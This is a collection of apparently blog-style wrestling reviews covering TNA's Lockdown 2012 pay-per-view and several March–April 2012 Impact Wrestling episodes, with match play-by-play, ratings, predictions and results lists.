Kurt rams him into the cage again and walks around a lot. Oh yeah Jeff is busted. Jeff comes back with a clothesline and both guys are down. Things speed up again and Jeff comes back with some forearms. Whisper in the Wind gets two. Twisting Stunner puts Kurt down and he loads up the Swanton, but Angle runs the corner and hits a GREAT Angle Slam out of the corner for a close two. Kurt goes for the door but Jeff dives for the leg. Angle pounds on his head and goes for the climb over but Jeff pulls him back. Now Jeff goes up and knocks Kurt back, hitting a standing top rope Vader Bomb for two.

Both guys are down again and it’s Hardy up first. He goes for the door but Kurt grabs the ankle and puts on the ankle lock. Jeff counters into the ankle lock on Angle (on the good leg) but Kurt rolls out. Twist of Fate puts Angle down and Jeff goes for the corner. Swanton connects but he goes up again and hits a second one which gets two. Kurt pulls him head first into the cage and the Angle Slam gets two. Hardy counters the Slam into one of his own before going all the way to the top of the cage for a super Swanton for the pin at 14:48.

Rating: B+. While it’s not as good as Kurt’s other matches, this was a HUGE step up over what the rest of this show has been. I don’t ever remember my heart being in my throat for a spot more than that Swanton though as I thought he was going to kill himself. Angle’s injury slowed this a lot but it was still a very good match and a major help that this show needed.

Knockouts Tag Titles: Eric Young/ODB vs. Rosita/Sarita

Eric and ODB have hockey jerseys on. ODB charges in to jump Sarita and Eric doesn’t know what corner to go to. Isn’t this where Eric is billed from? It’s a comedy match of course with Eric thinking he’s referee, which causes ODB to get in trouble. The girls keep trying to seduce Eric as they work over ODB. ODB comes back, spears Sarita and hits the Bam on Rosita for the pin to retain at 4:17.

Rating: D. Was Eric ever legally in? This was a comedy match to bring the crowd down a bit before the main event. There’s not much else to say here other than the girls minus ODB looked good and Eric is still not that funny. This served its purpose well enough though so points for that.

The announcers talk about the main event for awhile.

Roode says tonight is a fight, not a wrestling match. He’s out for blood and they hate each other. Some idiot fan tried an ECW chant during this.

We recap the main event. It’s another excellent package with Roode talking about how he’s the champion and he’ll do anything to win and Storm talking about how it took ten years to get to this moment.

TNA World Title: James Storm vs. Bobby Roode

Storm drives a truck into the arena. He has something resembling the AMW trenchcoat but it’s not quite the same. Storm jumps him on the floor before the bell rings and takes the fight to him. He rams Roode into the cage and drops an elbow from a table. The bell hasn’t rung yet and they have over half an hour. Storm blocks a cage shot and they fight up the entrance. All Storm so far.

Storm swings a chair at the cage but misses, allowing Roode to hit a clothesline to the back of the head to drive Storm’s head into the steel. Roode gets a beer bottle and Storm is busted. The beer is put on the steps as Roode hammers away. Montgomery Gentry and Storm’s wife are here. They go into the cage and there’s the bell. Roode is in full control and rams Storm into the cage again.

Roode yells a lot and the crowd is quiet enough that you can hear most of it. Suplex and knee drop get two. That cut is opening more and more. Storm Hulks Up and wins a slugout but a running elbow takes him right back down. Storm gets a boot up in the corner but Roode takes him down with a big clothesline for two. Roode does the cheese grater spot on the cage and the tape on Storm’s wrists are all covered in blood.

Roode is still shouting in Storm’s face and has Storm’s blood on his face. We cut to Storm’s wife and she looks as interested as parents when their kid isn’t on stage in a third grade school play. Storm comes back with a bunch of punches and clotheslines. Here’s the Eye of the Storm but Roode escapes. A catapult sends Roode into the cage and the Eye of the Storm gets two.

James walks into a spinebuster for two. Roode is busted also. Closing Time (Codebreaker/Backstabber combo) gets two. Now Roode gets the cheese grater treatment. Roode ducks a dive and Storm eats cage, allowing Roode to hook the Crossface. Storm manages to roll to the ropes but both guys are spent. They go to the corner and Storm fights out of a superplex but gets his head rammed into the cage.

Roode climbs on Storm to try to get out and he kicks Storm down to the mat. Storm climbs up and gets Roode dangling on the top of the cage. He’s back in now and they slug it out on the top rope some more. Storm pulls him down and loads up the Last Call but it hits the referee flush on the jaw.

Roode takes him down and has the door wide open but he wants the beer bottle. He busts it over Storm’s head and demands that Hebner come in for the cover but it only gets two. Instead of sprinting out the door, Roode walks into the Last Call but Storm can’t follow up. Storm superkicks Roode out the door, AND HE KEEPS THE TITLE at 17:39.

Rating: B. This company amazes me. If there was EVER, I mean EVER, a more perfect setup than this, I’d love to see it because this was as perfect as you could get and they go the other way. On top of that, they do it TONIGHT, with the crowd being as uninterested as they’ve ever been. The match was great, the ending…..oh dear.

Storm hugs his wife to end the show.

Overall Rating: D+. The first half of this show was dreadful, ranking up there with some of the worst shows I’ve ever seen. Angle vs. Hardy breathed life into it and the Knockout Tag was as good as it was going to be. The main event was going strong and then they completely deflate the place (ok it was deflated already) with the ending. This was the perfect place to end Roode’s reign, but instead they swerve us just like at Bound For Glory. I get the idea of a surprise, but there are times where you go with the obvious. This was one of them.

Results
Team Garrett Bischoff b. Team Eric Bischoff – Garrett pinned Eric after a guitar shot
Samoa Joe/Magnus b. Motorcity Machineguns – Middle Rope Elbow to Shelley
D-Von b. Robbie E – Spinebuster
Gail Kim b. Velvet Sky – Rollup with a handful of tights
Crimson b. Matt Morgan – Crimson escaped the cage
Jeff Hardy b. Kurt Angle – Swanton off the top of the cage
ODB/Eric Young b. Sarita/Rosita – The Bam to Rosita
Bobby Roode b. James Storm – Storm superkicked Roode out of the cage

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It’s that time again. The second biggest show of the year with all cage matches. Here you go.Roode vs. Storm – This is one of those matches that seems like you can’t screw up……….but this is TNA.  I’m not sure if they’re going to mess it up but they could.  I’ll give them the benefit of the doubt though and go with the obvious title change.

Lethal Lockdown – Keep this in mind: Garrett Bischoff is now in control of a world champion, a two time world champion, the hottest commodity in the company, and the most decorated man in the history of the company.  Let that sink in for a minute.  Anyway, I have to go with Garrett’s team.  There’s no reason for him to lose, and besides it lets us have him stand on top even more.  I have no interest in this match though because look at it on paper minus the Bischoffs.  Is there anyone on the heel team other than Ray that can stand up to any of the faces?  No, and that’s why the match isn’t interesting.  Also next year, cut thsi down to 8 people.  Ten is too many.

Kurt Angle vs. Jeff Hardy – This is Angle’s night usually as he has great match after great match at Lockdown.  I’ll take Hardy to win, but this is going to be good.  Angle said that he thinks it’ll be a masterpiece and as good as HHH vs. Undertaker, but then again Kurt thinks people still listen to him.

Tag Titles – I know this is blasphemy but I’m not interested in the Guns at all.  There’s nothing for them to accomplish with the titles anymore at all.  They’re one of the best teams in company history (not as good as Beer Money or AMW but they’re probably third), and there’s no reason for them to get the belts.  They probably will and there’s nothing wrong with them being champions, but there’s nothing left for them to do with the titles.  I’ll go with new champions but with very little confidence.

Morgan vs. Crimson – No way the streak ends here.  Not that it would matter if it did, but it doesn’t end here.  Crimson wins.

Knockouts – Gail has had the belt five months now.  Put it on Velvet already.

TV Title – It’s still D-Von vs. Robbie E.  Did you know this match was happening?  Tenay and Tazz didn’t.  Champion retains.

Thoughts/Predictions?

Impact Wrestling
Date: April 12, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz

It’s the go home show for Lockdown and again there aren’t any spoilers for the show tonight. The main idea here will probably be the announcing of the teams for Lethal Lockdown, or the Garrett Bischoff Showcase, whichever you prefer to call it. Other than that we’ll likely get a face to face showdown between Roode and Storm. Let’s get to it.

Tonight is the ODB/Eric Young wedding.

Here’s Eric Bischoff to open the show. I’m still not sure how the stipulation of him never being able to use his own name again works, or why most fans would care about that but it’s something else I guess. He starts talking about Lethal Lockdown and the fans chant that they don’t care. He brings out his team: Bully Ray, Gunner, Kazarian, Christopher Daniels and….there’s no fifth man.

Ray wants to know if the fans know who Eric is. The fans again say that they don’t care. Ray is proud to go to war for Eric, but Eric has made one mistake. That mistake is Garrett. Eric says that tonight there’s a best of three series to determine who has the advantage. Gunner is ready for whomever Garrett’s team brings to the table. Speaking of Garrett here he is. The fans cheer for him so there’s validation for him to be on the show I guess.

He has his own team, comprised of Anderson….and I guess we have to wait for the rest of the best of three series to find out the rest.

Mr. Anderson vs. Gunner

We join the match in progress after a break with Anderson ramming Gunner’s head into the buckle. Anderson misses a charge into the corner and Gunner takes over as they head outside. Gunner tries to ram Anderson into the post but gets sent himself. He goes into the barricade face first a few times as well and they head back inside. Anderson drops him with a clothesline and a few elbows but Gunner comes right back. He’s so intense you know. Gunner grabs a rollup with tights for two. They slug it out and Gunner is sent into the post twice. Anderson chokes him into the corner and won’t let up on it, drawing the DQ at 4:47.

Rating: C. This wasn’t bad as Anderson was showing some fire for the first time in a very long time. He’s not interesting for the most part though and that really hurts him. Anderson is just kind of there for the most part and the same is true for Gunner. Neither guy does anything of note in the ring and it makes most of their matches boring. This was a bit different but not by much.

Young is in a poweder blue tux and glasses when Joseph Park shows up. Park asks Eric about a pre-nup which Eric thinks is a dog. Joseph asks Eric to think and the last thing he remembers is that Abyss was involved with Immortal. Joseph leaves Young a business card in case he needs anything. I like the Park character and it’s nice to see him FINALLY get somewhere with this.

Here are the Guns with no entrance and a title match on Sunday. They talk about how great they are and how Joe/Magnus haven’t teamed together long at all. Here are the champions for the semi-traditional tag team face to face talk. Magnus says he respects them (also traditional) but it’s not about who the best team ever is. It’s about who the best team today is, and the Guns are looking at it. A challenge is laid down to fight right now and the Guns are ready but here’s Mexican America to stop it. Anarquia says they should be in on this and both teams promptly destroy them.

Christopher Daniels vs. Austin Aries

Match #2 in the series for Lethal Lockdown advantage. Well at least it’s not AJ. Aries controls with a headlock to start but Daniels gets one of his own. They feel each other out a bit and Aries is moving better than Daniels here. The crowd has been hot all night too. Daniels charges into an elbow but Aries gets crotched as he goes up. Daniels tries a dive on the floor but Aries slides in and hits that sweet suicide dive of his.

Back in Aries takes him down and hits a handspring elbow drop for two. Sunset flip out of the corner gets the same. They trade some reversals and Aries tries to use tights but gets caught. Release Rock Bottom looks to set up the BME but Aries moves. He heads up and hits a missile dropkick followed by a running dropkick in the corner. The Brainbuster gets the clean pin at 5:32.

Rating: B. I’m not a fan of Daniels about 80% of the time, but this was a really fun match. Having Daniels getting away from AJ almost always proves to make him much more enjoyable, probably because it’s ANYTHING but him vs. AJ, but this was good stuff. Aries was flying out there and having him get the clean pin was a nice plus as he needs to get some wins over the bigger names on the show.

Here’s Hardy to cut a promo as they’re assembling the cage for the wedding. He talks about how Angle cost him the world title and on Sunday it all ends in a steel cage. They’re going to hurt each other….and that’s it. He only talked for about 40 seconds.

We get a promo from last Thursday where Storm rants about Roode disrespecting Montgomery Gentry.

Young is still giving himself a pep talk when Rosita and Sarita come in and hit on him. They want the titles back and imply that once the ring goes on his finger his life ends. They both flash him and Young turns them down.

It’s time for the wedding. Let’s get this over with. Eric comes out and is nervous. Here Comes The Bride plays and there’s no ODB. Oh ok she comes out to her theme music. So Cal Val locks them in the cage and Eric looks nervous. Young’s middle name is Cornelius. The minister isn’t thrilled with how strange this is. He says that the cage is symbolic of the strength and commitment needed for a marriage.

There’s a video of their history together which is set to a bad love song which sounds like something off an SNL parody. A lot of Bronco Busters are included. Eric seems quite proud after the video. The fans chant for ODB who looks nervous. They both have their own vows. Eric’s say he be with her no matter what she does and he’ll allow her to rub his feet whenever she wants because he knows she’s into that. She promises to not take his last name but she will take his ring music. She’ll also slap him when necessary because he’s into that. Apparently Eric gets sex whenever he wants.

The minister asks if there’s an objection and cue….Mexican America. Oh wait just the chicks. Didn’t they get repossessed or something? Sarita talks about flashing Eric in the back and says he can have the best Knockout tag champions ever. Rosita takes off her robe and dances in lingerie. He seems interested and ODB is crying. Sarita does the same sort of dance and ODB says she doesn’t have what they have. She does however have this, and she strips her dress off to reveal lingerie and a small flask of her own.

Eric turns to ODB and says he knows the missing ingredient now. He strips down to his underwear as usual but leaves the cummerbund on. They make the minister strip too. Eric says yes, ODB says yes, and ODB kisses him to the mat. This got nearly 14 minutes, or longer than almost two of the first match and the second match combined.

Flair gives Ray a pep talk.

Roode says he has no problem with the match vs. Storm being personal.

Bully Ray vs. AJ Styles

The respective winning team gets the advantage in Lethal Lockdown on Sunday. Feeling out process to start before AJ speeds things up. Everyone is on the floor to watch this one including Flair. Ray sends him to the apron and a big boot puts AJ on the floor. Ray misses a splash and AJ speeds things up, hitting a clothesline and another in the corner.

Tornado DDT is countered and Ray hits a great Samoan Drop for two. Ray goes up but AJ nips up and hits a rana for two. Styles goes to the ropes but Kaz trips him, starting the big brawl. In the ring AJ hits the Pele for a delayed two. AJ gets distracted and Ray gets his chain. AJ tries the springboard forearm but jumps into the chain for the pin at 6:44.

Rating: C. Pretty fun match here as you would expect from both of these guys. I’ve heard rumors that Ray might be getting a world title reign this year and while I would initially think it’s company suicide, it’s no stupider than Garrett’s push. This was a pretty decent match for the most part with AJ doing his usual high flying and Ray being a decent power brawler. Good stuff.

And here’s Hulk to say that now it’s 5 on 5 and Bischoff has three minutes (commercial) to get his last guy.

Back and Flair wants to be the 5th guy but Eric says no. Eric thinks that Hulk is going to be the other team’s fifth guy so Eric wants to be in there so he can stand over Hulk. Hogan says he won’t he (as in Hogan) won’t be in the match but the fifth man will be…..Rob Van Dam. So to recap, we have a two time world champion, a former world champion, the hottest commodity in the company, and the most decorated man in the history of the company all as foot soldiers for GARRETT BISCHOFF. Also, could this match be any more one sided? Eric’s biggest name is who, Ray? But hey, it makes Garrett look good right?

Video on Roode vs. Storm, narrated by Roode. As usual, this was awesome.

We run down the card for Lockdown. I completely forgot about Morgan vs. Crimson.

Madison Rayne/Gail Kim vs. Mickie James/Velvet Sky

Velvet doesn’t do the pigeons thing and Taz is furious. Madison and Mickie start things off. Mickie tries to escape a wristlock so Maidson kicks her in the face. Off to Gail who walks into a flapjack. Velvet comes in and Gail runs over to tag. Sky isn’t in long and it’s back to Mickie who plays pretty face in peril. Mickie avoids a charge in the corner and it’s hot tag to Velvet. Madison makes the save off a bulldog so Velvet DDTs her. Gail tries to leave but Mickie throws her back in. In Yo Face is broken up but so it Eat Defeat. In Yo Face gets the pin at 3:56.

Rating: C-. Not a good match or anything but this was exactly what it needed to be. Velvet gets the pin on Gail to set up their match on Sunday and Mickie and Madison are there to keep the match from happening early. Now why is that such a complex idea for most other matches to get?

Time for the showdown with Storm and Roode. Storm talks first, talking about how they’ve been down the road together and gone to Japan as Beer Money, all while talking about how cool it would be to be world champion one day, then laughing because it wouldn’t happen. Roode says he isn’t going to pretend Beer Money didn’t exist, because it was a proud moment in his life.

However there’s another moment that Roode wants to talk about, and that’s when they both entered the BFG Series. They wrestled in the semi-finals and Roode wound up winning the tournament where he lost in the main event of Bound For Glory while Storm didn’t have a match. This is all accompanied by clips of what they’re talking about which helps a lot. Storm says he remembers that, and then the next week he beat the guy that beat Roode in record time.

Roode remembers two weeks later where he beat Storm for the world title. That was also the night he turned heel. Storm says that was the night that Beer Money’s legacy was destroyed. Roode says there was no legacy because they never were friends. They hated each other and only had success because of that hatred. Storm goes off on Roode for selling out and says his superkick foot is getting antsy.

Storm says this is leading to Nashville but Roode says that this isn’t about Nashville or Storm’s redneck wife and kids. Storm takes off the jacket and Roode says this is getting personal. He talks about Storm’s dead brothers and dead father and they go nose to nose…and we’re out of time as they’re still yelling. Solid segment but they threw a lot at us at once.

Overall Rating: C+. This show was pretty good, but as usual with TNA, if you don’t like the main angle they’ve got going on, you don’t have much of a reason to watch the show. When you look at this show, you get about five segments on Lethal Lockdown, one long one on the title match, a decent one on the tag titles, a match about the Knockouts, and that’s about it.

Angle vs. Hardy got 40 seconds and Crimson vs. Morgan was mentioned in the PPV preview and that’s it. There’s a TV Title match which wasn’t mentioned, but I didn’t expect it to be. In short, as always the problem is too much Bischoff. Lockdown should be good though, so that’s a good sign. Hopefully they don’t screw this up like they do everything else.

Results
Gunner b. Mr. Anderson via DQ when Anderson wouldn’t stop choking Gunner
Austin Aries b. Mr. Anderson – Brainbuster
Bully Ray b. AJ Styles – Ray pinned Styles after hitting him with a chain
Velvet Sky/Mickie James b. Madison Rayne/Gail Kim – In Yo Face to Kim

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Impact Wrestling
Date: April 5, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

This is a different kind of show as I have no idea what’s coming here. Due to the WWE being in Orlando this week, the only recappers that care enough about Impact were at Raw and Smackdown, so there aren’t any spoilers coming in this week. It’s kind of a nice change of pace and I’m curious to see what happens when I don’t know what to expect. Let’s get to it.

We open with a recap of last week’s ending with Hogan becoming the new GM.

The roster is around ringside and here’s Hulk to address them. He thanks Sting for having his back and talks about meeting with creative earlier today. There’s going to be a lot of new stuff coming up but first of all, let’s talk about Lockdown. Hogan makes Morgan vs. Crimson and it ends there. As for the Knockouts, there’s a Knockouts Championship Challenge to determine the #1 contender, whatever that means.

Hogan calls out Eric Bischoff but Flair says he’s not here. Flair says no one tells him anything so Hogan says get Eric here. Here’s Roode who says he’s right on time. Roode says that his only obligation is Lockdown so he’s out of here. Hogan says hang on a minute and calls Anderson into the ring. He makes Roode vs. Anderson tonight because it’s what the people want. As for Angle, he won’t be wrestling Hardy at Lockdown. That draws booing, so he’s wrestling Hardy tonight. Actually RIGHT NOW! As in after a break!

Jeff Hardy vs. Kurt Angle

Hardy hooks an armbar to start and Kurt has some issues breaking it. Instead of wrestling he goes to the eyes but Hardy whips off a headscissors to send Kurt to the floor. There’s a slingshot dropkick and they brawl to the outside. Kurt is busted open. Kurt pounds Jeff down and we take a break. Back with Jeff hitting a great Whisper in the Wind to put both guys down. Twist is countered into the Rolling Germans with Kurt trapping Jeff’s left arm.

Jeff comes back with a Twisting Stunner but as he sets for the Swanton, Kurt runs the corner and hits the belly to belly. There’s the ankle lock but Jeff counters and hits a mule kick to put Angle down. Kurt grabs the referee to prevent the Swanton and tries to get Jeff to jump into a low blow but it’s avoided. Twist is countered again and Angle goes to the floor where he takes the countout at 12:54.

Rating: B-. This was getting good until the ending. I’d bet money on the rematch happening in ten days anyway (namely because I saw the rematch being made before I wrote this rating) because the idea of making people pay to see the match is a stupid idea in wrestling right? Good match until the bad ending.

Hogan runs into Angle in the back and makes the rematch for Lockdown in ten days. I give up.

Flair gets Eric on the phone and says get here.

Ray is trending apparently and says he’ll be the next world champion. He’s going to take care of Aries next.

Ray is in the ring and says he’s eaten chicken wings bigger than Aries. Here’s the X Champion who quiets the crowd down and the blasts Ray with the mic. He pounds Ray in the corner and the beating is on. He goes for ten punches in the corner but Ray hits a HUGE powerbomb out of the corner.

Joseph Park is looking in catering for Abyss. No luck again. He needs to find someone soon.

AJ is praising Storm when Storm pops up. Storm has to have a match tonight and he wants it to be with the best. Storm vs. AJ later. Geez think they’re stacking this show enough?

Mickie James vs. Winter vs. Tara vs. Angelina Love vs. Madison Rayne vs. Velvet Sky

I think this is one fall. Angelina and Madison start and everyone runs in to break up the pins. Mickie replaces Madison and gets two off a neckbreaker. Side slam gets the same for Angelina. Velvet tags herself in and hits a low dropkick. Rayne and Love get in an argument as Tara comes in. The spinning side slam gets two and it’s off to Mickie vs. Velvet. Madison knocks Mickie down before she gets in and we go to the parade of finishers which culminates with Velvet hitting In Yo Face on Mickie for the pin at 7:08.

Rating: D+. I know I’m underrating these most of the time but I don’t care about women’s wrestling most of the time. Nothing to see here but at least they’re getting back to Velvet who is the most popular of the Knockouts. I don’t think Winter was ever in the match which is sad as I love that pale British thing.

Anderson says he’ll beat Roode when the champ and his security come in.

Storm and Hardy were at some country music awards.

Off to Eric Young’s bachelor party. They have suckers, non-alcoholic beer and a fantasy baseball draft. ODB comes in with alcohol and chicken wings. This goes nowhere.

James Storm vs. AJ Styles

Feeling out process for the first few minutes of the match. They fight over headlocks and AJ keeps looking for the kick. AJ takes it to the mat and goes for the leg but Storm runs. Did Styles add a submission that I don’t remember? Styles is sent to the corner and Storm hits a running enziguri from the apron. He goes up but AJ hits an enziguri of his own. AJ goes up but gets caught in a wicked Eye of the Storm for two. He tries the Closing Time but AJ blocks it and tries a figure four. That gets him nowhere so Styles tries the backflip into the reverse DDT, only for Storm to duck and kick AJ’s head off for the pin at 6:38.

Rating: C+. Pretty good match here and that was an AWESOME superkick. The look on Styles’ face after he gets up is great as he looks like he got hit by a bus. This is what Storm needs before the main event at Lockdown: clean wins over big names. AJ isn’t going to get a main event push anytime soon so have him put people over like this.

Storm wants Roode in the ring next week.

Hogan tells Sting to take the time to get healthy because he needs Sting.

Storm celebrates with Montgomery Gentry, a country act. He leaves and Roode/security come up and the champ spits water at them.

Motorcity Machineguns vs. Mexican America

Here’s their big return. Shelley and Anarquia start things off with the Guns controlling early. Sabin comes in as does Hernandez. The speed takes over with a bulldog for two and it’s back to Shelley for some more double teaming. Shelley’s tornado DDT is broken up but we get quick heel miscommunication. The Guns speed things up and finish with Skull and Bones at 4:19.

Rating: C. This was just a squash as the Guns were clearly never in any danger. The thing is I don’t know what they’re supposed to do other than a feud with Joe and Magnus, as the division is about two teams deep at this point. They’re still fun to watch but there’s no Beer Money to feud with. I’m glad they’re back though.

Bischoff gets here and Flair whines about Hogan.

Back from a break and Hulk is in the ring, calling out Eric. Eric talks about how no one would predict that this would happen in the year 2012: Bischoff vs. Hogan. Eric says there are a lot of differences between the two of them but the big one is Hogan isn’t a leader. Hogan isn’t a leader of men like Eric is.

Hulk makes Team Garrett vs. Team Eric at Lockdown in Lethal Lockdown. Oh sweet merciful goodness he’s captaining the team for the namesake match at the second biggest show of the year. If Eric’s team wins, Garrett is off the roster forever. If Garrett’s team wins, Eric is gone….and he can never use the Eric Bischoff name again. How exactly can he do that? I mean….it’s his name.

Video on Storm training.

Mr. Anderson vs. Bobby Roode

Unless there’s an overrun which there hasn’t been in months, this is going to be a pretty short match. The security gets thrown out before the match and Anderson jumps Roode in the aisle. Anderson takes over quickly but the champ takes him down. We’re told that next week there’s a best of three series for the man advantage in Lethal Lockdown.

Roode runs his mouth about being the champ and walks into a powerslam for two. Fisherman’s suplex is countered as is Anderson’s neckbreaker. There goes the referee and Anderson hits the rolling fireman’s carry slam. Roode steals a beer from what appeared to be an 8 year old’s hands and the bottle goes across Anderson’s head for the pin at 4:11.

Rating: C. I’m trying to get over that kid. Seriously he looked like he was 11 at oldest. The match was nothing special but given just over four minutes there was only so much that they could do. Not much to see to it and the post match stuff doesn’t really mean much. Anderson is in the main event jobber role now which is about where he belongs.

Hogan and Storm come out post match and Hogan reverses the decision. Roode doesn’t seem to care.

Overall Rating: C+. This was a significantly better show than the last two, but I don’t like what it looks like they’re doing. It looks like they’re stacking the TV shows to get the TV ratings up which is fine short term but it’s a bad idea for the long term. I’m not wild on Hogan as GM but if we get rid of Bischoff in two weeks I’m good. This was a good show for the most part, but I’m not sure I like where things are heading.

Results
Jeff Hardy b. Kurt Angle via countout
Velvet Sky b. Angelina Love, Mickie James, Winter, Madison Rayne and Tara – In Yo Face to James
James Storm b. AJ Styles – Last Call
Motor City Machineguns b. Mexican America – Skull and Bones to Anarquia
Mr. Anderson b. Bobby Roode via DQ when Roode hit Anderson with a beer bottle

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Impact Wrestling
Date: March 29, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

I really hope this is an improvement over last week’s less than stellar effort. The main story is probably going to be Hogan being convinced to take the GM job which we all know that he’s going to take. Hopefully they have more time for Storm this week as he got pushed aside for Hogan and Garrett last week, which is ridiculous but such is life in TNA. Let’s get to it.

We open with a recap of last week with Dixie, Sting and Hogan making a decision about the GM spot.

Dixie says she’s given Hogan a week to think about it and hopefully she’ll know some more tonight.

Here’s Roode with additional security this week. Wasn’t he not supposed to be seen until Lockdown according to his lawyer? Roode says you all better respect him because without him, this company is nothing. At Victory Road, Roode accomplished his goal and proved that he’s better than Sting ever was. As for Dixie, if she wants to stick her nose into the champ’s business, she’ll get what’s coming to her. As for what the lawyer said last week, it only has to do with him wrestling.

The security is here for Storm’s benefit, not his own. When you’re the champ, you don’t need any luck. That brings out Storm who makes fun of the mall cops. Storm goes after Roode but Bully Ray runs out to deck Storm. Storm gets in one shot and Ray runs. Cowboy tries the superkick but Roode runs. Storm says he wants both Roode and Ray tonight and the champ says ok.

Gail gives Madison a tiara/crown. She’s the queen again.

Velvet Sky vs. Madison Rayne

Madison jumps her during the entrance and Tazz has nothing to say. How in the world did he fall from a tough miserable man to Pigeon Man? Madison takes over to start but Velvet gets in a boot to set up a basement dropkick for two. Madison gets in a few shots and a slam but Velvet comes back with a “spear”. A “bulldog” puts Rayne down the sitout Pedigree (apparently called In Yo Face) ends this at 2:58.

Velvet says she’s coming to get her Knockouts’ Title back.

Ray doesn’t like getting chummy with Roode for tonight.

We go to what looks like a park where Hogan and Dixie’s meeting is recorded. Hogan takes some of the blame for the whole going crazy and taking over the company. This goes on for a few minutes and basically is Hogan saying I used to be great but I don’t know if I’m right for it anymore. Dixie says we need you and begs him a bit because that’s what you have to do with Hulk. The end result: they’ll talk more in the arena tonight. This ran about five minutes which we’ll never get back.

We recap Crimson and Morgan’s breakup. They fight next.

Angle says no rematch for Hardy because Hardy is a crybaby. If Hardy gets a win over Mr. Anderson tonight, he can have his rematch.

We get ready for Crimson vs. Morgan but here’s Austin Aries to interrupt. He says he’s got a problem right now and that problem is called Bully Ray. Ray interrupted him in a title defense last week and that’s not ok. Aries’ balls are as big as Ray’s calves. He respects a guy like James Storm who stands up for himself, so if Storm wants a partner tonight, Aries would love to help him out.

Matt Morgan vs. Crimson

They’re brawling in the aisle as we come back from a break. Into the ring they go with Morgan pounding down onto the head of the Red Enthusiast. Crimson makes a comeback and they head to the floor. Back inside with Crimson in control but Morgan comes back with some rights….and there’s a spinebuster to put him right back down for two. Crimson misses a spear in the corner and Morgan takes over, but they brawl to the floor and it’s a double countout at 3:48.

Rating: C-. What exactly were you expecting here? This has been going to Lockdown the entire time and everyone has known it. The match there won’t be bad and I really hope they don’t blow the winning streak (as lame as it is) on Morgan. Not much to see here but some of Crimson’s power stuff wasn’t bad. He needs to talk more though.

They brawl out of the arena.

Joseph Park goes to look for Abyss info in the technical truck. Apparently he (Joseph) used to play college football.

Mr. Anderson vs. Jeff Hardy

If Hardy wins he gets a shot at Angle at Lockdown. The Guns are back next week apparently. Feeling out process to start with no one having a clear advantage. The announcers have to talk about the Bischoffs because this is TNA after all. Now a shift to talking about Hogan. Jeff hits his double leg between Anderson’s legs for two but Anderson comes back with elbow drops.

He calls for the Mic Check but Jeff elbows out. Twist of Fate is countered and they ram heads with Jeff falling to the floor. And here’s Kurt to jump Hardy. He hadn’t done it yet when I typed that. It was just that obvious. Low blow and a post shot before Jeff is sent back in and the Mic Check ends this at 4:27.

Rating: D+. Nothing of note here because of the ending but it couldn’t have been more obvious that they were doing that. Angle vs. Hardy will happen at the PPV I’m sure, maybe in Lethal Lockdown. Either way, nothing match as they wanted to keep both guys looking strong which is understandable.

Here’s the debut of Longnecks and Rednecks, Storm’s music video. It’s set in a bar and has some clips of Storm in TNA.

ODB and Eric plan the wedding. This is annoying. Eric wants to wear the dress. ODB finally gives up and fires the good looking blonde wedding planner. They’re going to get married three days before Lockdown inside the cage. That’s in two weeks.

Here’s Eric with yet another challenge for Garrett. Eric talks about how great he is and how he has a contract that says he can get TV time whenever he wants. Every day he makes a checklist of what he wants to accomplish. On his recent list, he’s wanted to get rid of Sting as GM, get Dixie to find a less competent GM, and increase his personal wealth, all of which he’s done. However, he can’t get rid of his son, so he calls Garrett out right now.

Eric says that Garrett has a chance to leave with his health, because at Lockdown Eric wants to see him face Gunner again. Garrett can walk away right now though, but Garrett grabs the mic and calls Eric a jerk. He’s not going anywhere and putting him in a cage is a dumb idea.

Video on Storm training out in the country. He talks about how Roode broke up Beer Money and how the fans want him to take Roode out.

Hogan arrives at 10:30.

Bully Ray/Bobby Roode vs. Austin Aries/James Storm

Aries and Ray start but after Ray runs his mouth for awhile he bails. Storm tries to tag himself in to face Roode but the champ runs. Aries takes Roode down and we take a break as he wants the Bully. Back with Aries getting what he wants as the announcers talk about Hogan’s decision. Aries takes Ray to the mat and makes him look like a fool before chilling in the corner. He pounds on Ray but charges into a big old boot.

We get into standard tag team match formula with the heels pounding on Austin with double teaming tactics. Aries elbow Roode down and takes out Ray with a missile dropkick. There’s the hot tag as Storm cleans house. Roode is caught but Ray makes the save. Closing Time hits Ray and Roode spits beer in his face, allowing the Last Call to hit for the pin at 12:22.

Rating: C-. I wasn’t all that impressed here. Most of the match was Aries getting beaten on until we got down to the ending. Still though, Storm isn’t getting much time to show off which isn’t a great idea as he’s been the hottest thing in the company for months now. Not a terrible match, but nothing we haven’t seen a dozen times.

Here’s Dixie to bring out Hogan for the big decision. She believes in Hogan and wants him to take the position. Is it the one he demonstrated in his sex tape? Hogan says he doesn’t really want to do it because of what happened with Immortal, but here’s Sting to keep up the begging and worship of Hogan, because that’s what this company is all about. Oh and he brings out half the faces with him (D-Von doesn’t even bring his belt with him). All the big name faces are there: AJ, Storm, Anderson, Morgan, Hardy…..and Garrett of course.

Sting kisses up to Hogan and says take it already. Hogan wants to make sure it’s a clean slate and wants a guarantee that Sting will ALWAYS have his back. Sting wants to make sure that it’ll be the Eye of the Tiger Hogan. He says he’ll have Hulk’s back and Hogan takes the job, of course. Gee that was such a big sacrifice for him. Hogan celebrates with the rest of the good guys to end the show.

Overall Rating: D+. This was a step up over last week’s show but I really don’t like the way TNA seems to be going. It seems that they’re going more towards the idea of talking and drama rather than wrestling (9 matches combined in two weeks) and focusing more on Bischoff and Hogan. Tonight they didn’t go two minutes without talking about Hogan’s decision and that’s not good when they’re coming up on the second biggest show of the year. It wasn’t a bad show by any means, but I don’t like the way things seem to be going.

Results
Velvet Sky b. Madison Rayne – In Yo Face
Matt Morgan vs. Crimson went to a double countout
Mr. Anderson b. Jeff Hardy – Mic Check
James Storm/Austin Aries b. Bully Ray/Bobby Roode – Last Call to Ray

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Impact Wrestling
Date: March 22, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

We’re past Victory Road and not a lot has changed. Roode has finally put Sting away followed by a pretty strange post match attempted beatdown of Sting which resulted in Dixie Carter saving him. Other than that the interesting thing was Aries seemingly being turned face by the power of the crowd. That’s probably the right thing for him as it has meant huge pushes in the past. Let’s get to it.

We open with the ending to last Sunday’s PPV. Sting has a severe concussion apparently. Dixie is going to have something to say right after the opening sequence.

